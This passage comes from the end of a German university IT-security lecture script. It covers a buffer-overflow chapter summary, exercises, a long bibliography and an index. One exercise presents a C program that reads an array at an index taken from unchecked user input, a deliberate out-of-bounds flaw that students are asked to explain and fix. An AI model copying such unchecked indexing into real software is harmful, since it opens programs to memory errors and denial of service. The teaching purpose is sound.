• C-Kode kann in der normalen oder der erweiterten Umgebung ohne änderung
laufen (Vorteil),
• aber in der erweiterten Umgebung ist die Kode-Performance sehr schlecht
(Nachteil).
Da C meist eingesetzt wird, wo es auf performanten Kode ankommt, sind diese
Erweiterungen im praktischen Umfeld bedeutungslos.
11.3 Zusammenfassung
Gefahren bei der Verwendung von Programmen, bei denen unsichere Bibliotheksfunktionen verwendet wurden sind aufgezeigt worden. Betrachtet wurden dabei
168
11.4 Aufgaben
exemplarisch Pufferüberläufe, die den Stack betreffen. Schwachstellen sind aber auch
im Umfeld vom Heap möglich. Eine gute Darstellung solcher weiterer Schwachstellen
ist in [Kle04] gut erläutert.
Die Schwachstellen wurden beschrieben und Angriffsmöglichkeiten an BeispielProgrammen demonstriert. Maßnahmen die sicherstellen sollen, dass solche Schwachstellen gar nicht erst auftreten bzw. erkannt werden können, wurden diskutiert.
11.4 Aufgaben
Die nachfolgenden Aufgaben kann man nur lösen, wenn eine Unix-Umgebung verfügbar ist. Sollten Sie mit Windows arbeiten, so installieren Sie (’Cygwin’), um eine
Posix-Umgebung mit den erforderlichen Werkzeugen verwenden zu können.
1. Gegeben sei das u.a. Programm (a1.c).
1
2
3
5
6
7
8
9
10
11
12
# define LEN 10
int data [ LEN ];
int main () {
int userInput ;
for ( int i =0; i < LEN ; i ++)
data [ i ] = i * i ;
printf ( " Please enter a number : " );
scanf ( " % d " , & userInput );
printf ( " Square of input is : % d \ n " , data [ userInput ]);
}
a) Welche Ausgabe erzeugt das Programm bei Eingabe der Zahl 4 ?
b) Welche Ausgabe erzeugt das Programm bei Eingabe der Zahl -10000 ?
c) Wie ist das Programm abzuändern, so dass keine Eingabe zu einem
Programmabbruch führt ?
2. Ändern Sie das Programm dos.c aus dem Abschnitt 11.1.2 so ab, das eine
Denial of Service Attacke nicht mehr möglich ist.
3. Verwenden Sie das Werkzeug ’splint’, um alle gezeigten Beispielprogramme auf
Schwachstellen hin zu überprüfen.
169
[AB09]
A. Beutelspacher, T. S. H. B. Neumann N. H. B. Neumann:
Kryptographie in Theorie und Praxis. Vieweg-Verlag, 2009
[AMCK+ 02]
Al-Muhtadi, J. ; Campbell, R. ; Kapadia, A. ; Mickunas,
M. ; Yi, S.: Routing through the mist: Privacy preserving communication in ubiquitous computing environments. In: Proceedigns of
IEEE International Conference of Distributed Computing Systems
(ICDCS), 2002, S. 65–74
[ASH+ 14]
Arp, Daniel ; Spreitzenbarth, Michael ; Hübner, Malte ;
Gascon, Hugo ; Rieck, Konrad: Drebin: Efficient and Explainable
Detection of Android Malware in Your Pocket. In: Proc. of 17th
Network and Distributed System Security Symposium (NDSS),
2014. – URL: http://user.informatik.uni-goettingen.de/
~krieck/docs/2014-ndss.pdf
[BBGK08]
Breebart, J. ; Busch, C. ; Grave, J. ; Kindt, E.: A Reference
Architecture for Biometric Template Protection based on Pseudo
Identities. In: BIOSIG 2008: Biometrics and Electronic Signatures,
GI-Edition, September 2008 (Lecture Notes in Informatics 137), S.
25–37
[BS04]
Beresford, Alastair R. ; Stajano, Frank: Mix Zones: User privacy in location-aware services. In: IEEE International Workshop
on Pervasive Computing and Communication Security (PerSec),
2004
[BSSW02]
Balfanz, D. ; Smetters, D. ; Stewart, P. ; Wong, H.: Talking
to strangers: Authentication in adhoc wireless networks. citeseer.
ist.psu.edu/balfanz02talking.html. Version: Februar 2002.
– In Symposium on Network and Distributed Systems Security
(NDSS ’02), San Diego, California
[BUBTCSJSU04] Bologna), Pattern R. o. ; University), Image Processing Laboratory (Michigan S. ; Biometric Test Center (San Jose
State University) the: Fingerprint Verification Competition 2004. http://bias.csr.unibo.it/fvc2004/. Version: März
2004
171
[Bun]
Bundespolizei: EasyPASS – Grenzkontrolle einfach und schnell
[Cou81]
Council of Europe: Convention for the Protection of Individuals with regard to Automatic Processing of Personal Data. http://conventions.coe.int/Treaty/EN/Treaties/Html/108.htm,
1981
[CP09]
C. Paar, J. P.: Understanding Cryptography. Springer, 2009
[CS06]
Claycomb, William R. ; Shin, Dongwan: Secure Real World
Interaction Using Mobile Devices. In: Proc. PERMID / Pervasive
2006, 2006
[CS07]
Cavoukian, A. ; Stoianov, A.: Biometric Encryption: A PositiveSum Technology that Achieves Strong Authentication, Security
AND PrivacyP / Information and Privacy Commissioner / Ontario. Version: March 2007. http://www.ipc.on.ca/images/
Resources/up-1bio_encryp.pdf. 2007. – Forschungsbericht
[Dau88]
Daugman, J.: Complete discrete 2-D Gabor transforms by neural
networks for image analysis and compression. In: Acoustics, Speech
and Signal Processing, IEEE Transactions on 36 (1988), jul, Nr.
7, S. 1169–179. http://dx.doi.org/10.1109/29.1644. – DOI
10.1109/29.1644. – ISSN 0096–3518
[DH76]
Diffie, W. ; Hellman, M. E.: New Directions in Cryptography.
In: IEEE Transactions on Information Theory 22 (1976), S. 644–
654
[DJ94]
Dubuisson, M.-P. ; Jain, A. K.: A modified Hausdorff distance for
object matching. In: Pattern Recognition, 1994. Vol. 1 - Conference
A: Computer Vision Image Processing., Proceedings of the 12th
IAPR International Conference on Bd. 1, 1994, S. 566 –568 vol.1
[DRS04]
Dodis, Y. ; Reyzin, L. ; Smith, A.: Fuzzy Extrators: How to
generate strong secret keys from biometrics and other noisy data.
In: 3027, LNCS (Hrsg.): In Advances in cryptology - Eurocrypt’04,
Springer, 2004, S. 523–540
[EE95]
European Parliament ; European Council:
Directive 1995/46/EC of the European Parliament and of
the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data.
http://eurlex.europa.eu/LexUriServ/LexUriServ.do?uri=CELEX:31995L0046:EN:HTML.
http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=
172
CELEX:31995L0046:EN:HTML.
visited: May 24, 2008
Version: Oktober 1995. –
Last
[Eur04]
European Council: COUNCIL REGULATION (EC) No
2252/2004 of 13 December 2004 on standards for security features and biometrics in passports and travel documents issued by
Member States. Dezember 2004
[GG03]
Gruteser, Marco ; Grunwald, Dirk: Anonymous Usage of
Location-Based Services Through Spatial and Temporal Cloaking.
In: Proceedings of the First International Conference on Mobile
Systems, Applications, and Services (MobiSys), USENIX, 2003, S.
31–42
[hei]
heise: Sicherheitsexperte führt Klonen von RFID-Reisepässen vor
[hei14]
Studie:
Malware
ist
Hauptgefährdung
für
Unternehmens-IT.
2014. –
In heise Security,
URL:
http://www.heise.de/security/meldung/
Studie-Malware-ist-Hauptgefaehrdung-fuer-Unternehmens-IT-2409557.
html?wt_mc=rss.security.beitrag.atom
[Version
von
1.10.2014, zuletzt besucht am 2.10.2014]
[Int06]
International Civil Aviation Organization NTWG:
Machine Readable Travel Documents – Part
1 Volume 1 – Passports with Machine Readable Data Stored in Optical Character Recognition Format.
http://www.icao.int/publications/pages/publication.aspx?docnum=9303,
2006
[ISO05a]
ISO/IEC JTC1 SC37 Biometrics ; International Organization for Standardization (Hrsg.): ISO/IEC 19794-4:2005
Information Technology – Biometric Data Interchange Formats –
Part 4: Finger Image Data. International Organization for Standardization, Juni 2005
[ISO05b]
ISO/IEC JTC1 SC37 Biometrics ; International Organization for Standardization (Hrsg.): ISO/IEC 19794-5:2005.
Information Technology - Biometric Data Interchange Formats Part 5: Face Image Data. International Organization for Standardization, Juni 2005. – 47 S.
[ISO06]
ISO/IEC TC JTC1 SC37 Biometrics ; International Organization for Standardization and International Electrotechnical Committee (Hrsg.): ISO/IEC 19795-1:2006.
Information Technology – Biometric Performance Testing and
173
Reporting – Part 1: Principles and Framework. International Organization for Standardization and International Electrotechnical
Committee, März 2006. – 56 S.
[ISO08]
ISO/IEC JTC1 SC37 Biometrics ; International Organization for Standardization (Hrsg.): ISO/IEC SC37 SD11
General Biometric System. International Organization for Standardization, Mai 2008
[ISO11a]
ISO/IEC JTC1 SC27 Security Techniques ; International Organization for Standardization (Hrsg.): ISO/IEC
24745:2011. Information Technology - Security Techniques - Biometric Information Protection. International Organization for
Standardization, 2011
[ISO11b]
Information Technology - Biometric Data Interchange Formats
- Part 2: Finger Minutiae Data. International Organization for
Standardization, Juni 2011. – 105 S.
[ISO11c]
ISO/IEC JTC1 SC37 Biometrics ; International Organization for Standardization (Hrsg.): ISO/IEC 19794-5:2011.
Information Technology - Biometric Data Interchange Formats Part 5: Face Image Data. International Organization for Standardization, 2011
[ISO12]
Information Technology - Vocabulary - Part 37: Biometrics. International Organization for Standardization, 2012
[ISO14]
ISO/IEC JTC1 SC37 Biometrics ; International Organization for Standardization (Hrsg.): ISO/IEC CD 30107-1.
Information Technology - Biometric presentation attack detection Part 1: Framework. International Organization for Standardization,
2014
[JM02]
Juels, A. ; M.Sudan: A fuzzy vault scheme. In: IEEE International Symposium on Information Theory.
http://biometrics.cse.msu.edu/uludag-jain-fuzzy-fp.pdf,
June 2002, S. 408
[JW99]
Juels, A. ; Wattenberg, M.: A Fuzzy Commitment Scheme. In:
6th ACM Conference on Computer and Communications Security.
http://www.rsasecurity.com/rsalabs/node.asp?id=2048, 1999, S.
28–36
174
[KH90]
Khotanzad, A. ; Hong, Y. H.: Invariant image recognition by
Zernike moments. In: Pattern Analysis and Machine Intelligence,
IEEE Transactions on 12 (1990), May, Nr. 5, S. 489 –497. – ISSN
0162–8828
[Kle04]
Klein, Tobias: Buffer Overflow und Format-String Schwachstellen.
dpunkt.verlag, 2004
[KN07]
Kügler, D. ; Naumann, I.: Sicherheitsmechanismen für kontaktlose Chips im deutschen Reisepass. In: Datenschutz und Datensicherheit (DuD) 3 (2007), March, S. 176–180
[KR14]
Kurose, James F. ; Ross, Keith W.: Computernetzwerke, der
Top-Down-Ansatz. Pearson, 2014
[Lan02]
Langheinrich, Marc: A Privacy Awareness System for Ubiquitous Computing Environments. In: Borriello, Gaetano (Hrsg.) ;
Holmquist, Lars E. (Hrsg.): Ubicomp Bd. 2498, Springer, 2002
(Lecture Notes in Computer Science). – ISBN 3–540–44267–7, S.
237–245
[LT03]
Linnartz, J. P. ; Tuyls, P.: New shiedling functions to enhance
privacy and prevent misuse of biometric templates. In: 4th international conference on audio- and video-based biometric person
authentication, 2003
[MBB+ 08]
Meints, M. ; Biermann, H. ; Bromba, M. ; Busch, C. ; Hornung, G. ; Quiring-Kock, G.: Biometric Systems and Data
Protection Legislation in Germany. In: IEEE Intelligent Information Hiding and Multimedia Signal Processing (IIHMSP09), IEEE
Press, August 2008, S. 1088–1093
[MM97]
Maio, D. ; Maltoni, D.: Direct Gray-Scale Minutiae Detection
in Fingerprints. In: IEEE Transactions on Pattern Analysis and
Machine Intelligence 19 (1997), January, Nr. 1, S. 27–40
[MPR05]
McCune, Jonathan M. ; Perrig, Adrian ; Reiter, Michael K.:
Seeing-Is-Believing: Using Camera Phones for Human-Verifiable
Authentication. In: IEEE Symposium on Security and Privacy,
IEEE Computer Society, 2005. – ISBN 0–7695–2339–0, 110–124
[Nar03]
Naraine, Ryan:
’Friendly’ Welchia Worm Wreaking Havoc.
2003. –
In InternetNews.com, URL:
http://www.internetnews.com/ent-news/article.php/
3065761/Friendly-Welchia-Worm-Wreaking-Havoc.htm [Version von 19.8.2003, zuletzt besucht am 2.10.2014]
175
[Nor14]
Norman, Jeremy: The Origins of The Term “Software” Within the Context of Computing. 2014. – URL: http://
www.historyofinformation.com/expanded.php?id=936 [Version vom 4.8.2014]
[OPM02]
Ojala, T. ; Pietikainen, M. ; Maenpaa, T.: Multiresolution gray-scale and rotation invariant texture classification with
local binary patterns. In: IEEE Pattern Analysis and Machine
Intelligence 24 (2002), July, Nr. 7, S. 971 –987. – ISSN 0162–8828
[Pan14]
Pandalabs: Quarterly Report, January–March 2014. 2014. – URL:
http://press.pandasecurity.com/wp-content/uploads/
2014/05/Quaterly-PandaLabs-Report_Q1.pdf
[RCB01]
Ratha, N.K. ; Connell, J.H. ; Bolle, R.: Enhancing security
and privacy of biometric-based authentication systems. In: IBM
Systems Journal 40 (2001)
[RRSB14]
Raghavendra, R. ; Raja, K. ; Surbiryala, J. ; Busch, C.:
A low-cost multimodal Biometric Sensor to capture Finger Vein
and Fingerprint. In: Biometrics (IJCB), 2014 International Joint
Conference on, 2014
[RSA78]
Rivest, R. L. ; Shamir, A. ; Adleman, L.: A Method for
Obtaining Digital Signatures and Public-Key Cryptosystems. In:
Commun. ACM 21 (1978), Februar, Nr. 2, S. 120–126
[RU11]
Rathgeb, C. ; Uhl, A.: A Survey on Biometric Cryptosystems
and Cancelable Biometrics. In: EURASIP Journal on Information
Security 3 (2011), March
[Rut06]
Rutkowska, Joanna:
Stealth malware — Towards
Verifiable OSes.
In: 23rd Chaos Communication
Congress.
Berlin, Dezember 2006. –
URL: http:
//events.ccc.de/congress/2006/Fahrplan/attachments/
1207-stealthmalwaretowardsverifiablesystems.ppt [Zuletzt
besucht am: 19.8.2014]
[SA99]
Stajano, Frank ; Anderson, Ross J.: The Resurrecting Duckling:
Security Issues for Ad-hoc Wireless Networks. In: Security Protocols, 7th International Workshop, Cambridge, UK, April 19-21,
1999, Proceedings, 1999, S. 172–194
[SB14]
Sousedik, C. ; Busch, C.: Presentation attack detection methods
for fingerprint recognition systems: a survey. In: Biometrics, IET
3 (2014), January, Nr. 1, S. 1–15. http://dx.doi.org/10.1049/
176
iet-bmt.2011.0003. – DOI 10.1049/iet–bmt.2011.0003. – ISSN
2047–4938
[SBB13]
Sousedik, C. ; Breithaupt, R. ; Busch, C.: Volumetric fingerprint data analysis using Optical Coherence Tomography. In:
Biometrics Special Interest Group (BIOSIG), 2013 International
Conference of the, IEEE Computer Society, September 2013, S.
1–6
[Sch05]
Schneier, Bruce:
Real Story of the Rogue Rootkit.
2005. –
In the Wired.com Archive, URL: http:
//archive.wired.com/politics/security/commentary/
securitymatters/2005/11/69601?currentPage=all [Version
von 17.11.2005, zuletzt besucht am 2.10.2014]
[Sch09]
Schmeh, K.: Kryptographie. dpunkt.verlag, 2009
[Sch14]
Schneier, Bruce: Security Trade-offs of Cloud Backup. 2014.
–
In Schneier on Security, URL: https://www.schneier.
com/blog/archives/2014/09/security_trade-_2.html [Version von 25.9.2014, zuletzt besucht am 2.10.2014]
[SKKC05]
Spahic, Amir ; Kreutzer, Michael ; Kähmer, Martin ;
Chandratilleke, Sumith: Pre-Authentication Using Infrared.
In: Privacy, Security and Trust within the Context of Pervasive Computing Bd. 780, 2005 (The Kluwer International Series in
Engineering and Computer Science), S. 105–112
[SL14]
State Legislatures, National C.:
Virus/Contaminant/Destructive Transmission Statutes by State.
2014. –
URL:
http://www.ncsl.org/issues-research/telecom/
state-virus-and-computer-contaminant-laws.aspx [Version
vom 14.2.2014]
[Sta02]
Stajano, Frank: Security for Ubiquitous Computing. John Wiley
& Sons, 2002
[Tan09]
Tanebaum, Andrew S.: Kapitel 9: IT-Sicherheit. In: Moderne
Betriebssysteme (3. Auflage). Addison-Wesley Verlag, 2009. – ISBN
978–3827373427
[TP91]
Turk, M. ; Pentland, A.: Eigenfaces for Recognition. In:
Journal of Cognitive Neuroscience 3 (1991), Nr. 1, 71–86. http:
//www.cs.ucsb.edu/mturk/Papers/jcn.pdf
[Tuy04]
Tuyls, P.: Privacy protection of biometric templates: cryptography
on noisy data, 2004
177
[WBR13]
Wressnegger, Christian ; Boldewin, Frank ; Rieck, Konrad: Deobfuscating Embedded Malware using Probable-Plaintext
Attacks. In: Proc. of 15th Symposium on Research in Attacks, Intrusions, and Defenses (RAID), 2013, S. 164–183. –
URL: http://user.informatik.uni-goettingen.de/~krieck/
docs/2013-raid.pdf
[Wei95]
Weiser, Mark: Human-computer Interaction. Version: 1995. http:
//dl.acm.org/citation.cfm?id=212925.213017. San Francisco, CA, USA : Morgan Kaufmann Publishers Inc., 1995. – ISBN
1–55860–246–1, Kapitel The Computer for the 21st Century, 933–
940
[Wik14]
Wikipedia:
Sony BMG copy protection rootkit scandal,
in Wikipedia, The Free Encyclopedia.
2014. –
URL:
http://en.wikipedia.org/w/index.php?title=Sony_BMG_
copy_protection_rootkit_scandal&oldid=618889250 [Version
von 28.7.2014, zuletzt besucht am 24.9.2014]
[Wir]
Wireshark:
Wireshark Home
br://www.wireshark.org/download.html,
178
Page.
alge-
Index
öffentlicher Schlüssel, 29
3DES, 29
Adressraum, 147
AES, 29
aktiver Angriff, 28
Alice, 28
Angriff, 5
aktiver, 28
passiver, 28
Anonymität, 10
Antiviren-Software, 23
asymmetrische Kryptographie, 29
Authentizität, 8
Nachrichten-, 28
Teilnehmer-, 28
Backdoors, 25
Bedrohung, 5
Bioanwendung, 89
Blockchiffre, 29, 32
Blowfish, 29
Bob, 28
Buffer-Overflow, 152
Chain of Custody, 127
Cipher-Block-Chaining, 35
Cipher-Feedback, 35
Cluster, 138
Computer-Wurm
sehe Wurm, 21
Counter-Modus, 36
Data Segment, 148
Denial of Service Attacke, DoS, 153
DES, 29
Einführung, 54
Electronic-Code-Book, 35
Entschlüsselung, 29
Erkennungsleistung, 76
eulersche φ-Funktion, 38
Eve, 28
Exponentation
modulare, 38
fgets, 159
Forensik, 126
IT-Forensik, 129
Geheimtext, 28
GNU Compiler, 149
GNU Debugger, 148
Hauptspeicherorganisaton, 146
Heap, 148
Informationssicherheit, 4
Insider-Angriffe, 24
Integrität, 8, 28
IT-Sicherheit, 4
Klartext, 28
Kommunikationssystem, 28
Kryptographie, 27
asymmetrische, 29
Public-Key-, 29
symmetrische, 29
Logik Bombe, 25
Luzifer, 29
Mallory, 28
Malware
179
Index
Definition, 13
Taxonomie nach Rotkowska, 16
MBR, 136
Merkmalsextraktion, 68
Modalitäten, 60
modulare Exponentation, 38
modularer Rest, 37
Nachrichtenauthentizität, 28
One-Time-Pad, 33
Oskar, 28
Output-Feedback, 36
Partitionen
DOS-Partitionsschema, 135
GPT-Partitionsschema, 135
Partitionierung, 135
passiver Angriff, 28
PET, 85
Phishing, 19
PID, 154
Prinzip
Locardsches Austauschprinzip, 128
privater Schlüssel, 29
Produktchiffre, 36
Prozess, 147
Pseudonymität, 10
Public-Key-Kryptographie, 29
Pufferüberläufe, 146
Quellkode Audit, Source Code Audit,
167
Rijndael, 29, 37
Risiko, 6
Root-Kits, 24
RSA, 37
Satz von Euler, 38
Schieberegister, 34
Schlüssel
öffentlicher, 29
privater, 29
Schlüssel, 28
Schutzziel, 28
180
Segmentation Violation, 147
Sektor, 135
Serpent, 29
Sicherheit, 4
Safety, 4
Security, 4
Slack
File Slack, 138
Slack Space, 135
Sniffing, 6
snprintf, 163
Social Engineering, 19
Speicherzugriffsfehler, 147
Spoofing, 6
Spyware, 21
Stack, 150
Steganographie, 8
strncat, 161
strncpy, 160
Stromchiffre, 32
symmetrische Kryptographie, 29
symmetrische Verschlüsselung, 29
Teilnehmerauthentizität, 28
Textsegment, 147
Trojaner, 19
Abwehr, 21
Auswirkungen, 20
Twofish, 29
Verbindlichkeit, 28
Verfügbarkei, 9
Vergleichsverfahren, 71
Vernam-Chiffre, 33
Verschlüsselung, 28
symmetrische, 29
Vertraulichkeit, 7, 28
Verwundbarkeit, 5
Viren, 22
Virtuelle Machine, 26
Virus
Antiviren-Software, 23
Dropper, 23
Payload, 23
Index
Wurm, 21
Zurechenbarkeit, 9
181

IT-Sicherheit - Hochschule Darmstadt

Transcrição

Documentos relacionados

einhorn apotheke Dr. Heiko Buff – Catharina Buff oHG

Natürliche Hilfe bei Angst, Unruhe und Nervosität

Fast so sicher wie Fort Knox

In-Memory-Scanning mit Virensignaturen und ein generischer

¨Ubungen zu ClamAV

Kleiner Virenduden

Losses resulting from Fraud, Espionage and Malware

Neu anerkannte Farb/Rassekombinationen 2014

Handout Biometrik 1 - AGN - Informatik, Uni-Hamburg

G Data Presentation 2011 Redesign SK2